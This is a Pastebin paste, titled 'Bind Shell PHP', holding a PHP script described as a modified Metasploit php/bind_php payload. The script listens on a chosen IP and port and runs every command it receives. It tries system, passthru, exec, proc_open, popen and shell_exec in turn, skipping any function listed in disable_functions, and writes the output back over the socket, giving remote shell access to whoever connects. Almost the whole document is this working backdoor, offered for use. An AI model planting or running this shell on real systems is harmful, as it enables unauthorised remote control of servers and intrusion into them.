aljazara

Bind Shell PHP

Mar 14th, 2014
560
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.00 KB | None | 0 0
  1. #!/usr/bin/php
  2. <?php  
  3. /*
  4. Knull's modified `msfpayload php/bind_php R`
  5. */
  6.  
  7. if ($argc === 3) {
  8.  
  9. @set_time_limit(0);
  10. @ignore_user_abort(1);
  11. @ini_set('max_execution_time',0);
  12.    
  13. $df=@ini_get('disable_functions');
  14. if(!empty($df)){
  15.     $df=preg_replace('/[, ]+/', ',', $df);
  16.     $df=explode(',', $df);
  17.     $df=array_map('trim', $df);
  18. }else{
  19.     $df=array();
  20. }
  21.  
  22. $port=$argv[2];
  23. $ip=$argv[1];
  24.  
  25. $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
  26. $ret=@socket_bind($sock,$ip,$port);
  27. $ret=@socket_listen($sock,5);
  28.  
  29. $msgsock=@socket_accept($sock);
  30. @socket_close($sock);
  31.  
  32. while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
  33. {
  34.     $o = '';
  35.     $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
  36.     if(FALSE===$c){break;}
  37.     if(substr($c,0,3) == 'cd '){
  38.         chdir(substr($c,3,-1));
  39.     } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
  40.         break;
  41.     }else{
  42.         if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
  43.         $c=$c." 2>&1\n";
  44.     }
  45.     $isc='is_callable';
  46.     $ina='in_array';
  47.        
  48.     if($isc('system')and!$ina('system',$df)){
  49.         ob_start();
  50.         system($c);
  51.         $o=ob_get_contents();
  52.         ob_end_clean();
  53.     }else if($isc('passthru')and!$ina('passthru',$df)){
  54.         ob_start();
  55.         passthru($c);
  56.         $o=ob_get_contents();
  57.         ob_end_clean();
  58.     }else if($isc('exec')and!$ina('exec',$df)){
  59.         $o=array();
  60.         exec($c,$o);
  61.         $o=join(chr(10),$o).chr(10);
  62.     }else if($isc('proc_open')and!$ina('proc_open',$df)){
  63.         $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
  64.         $o=NULL;
  65.         while(!feof($pipes[1])){
  66.             $o.=fread($pipes[1],1024);
  67.         }
  68.         @proc_close($handle);
  69.     }else if($isc('popen')and!$ina('popen',$df)){
  70.         $fp=popen($c,'r');
  71.         $o=NULL;
  72.         if(is_resource($fp)){
  73.             while(!feof($fp)){
  74.                 $o.=fread($fp,1024);
  75.             }
  76.         }
  77.         @pclose($fp);
  78.     }else if($isc('shell_exec')and!$ina('shell_exec',$df)){
  79.         $o=shell_exec($c);
  80.     }else {
  81.         $o=0;
  82.     }
  83.        
  84.     }
  85.     @socket_write($msgsock,$o,strlen($o));
  86. }
  87. @socket_close($msgsock);
  88. } else {
  89.     echo 'usage: ' . $argv[0] . ' port' . "\n";
  90. }
  91.  
  92. ?>
Advertisement
Add Comment
Please, Sign In to add comment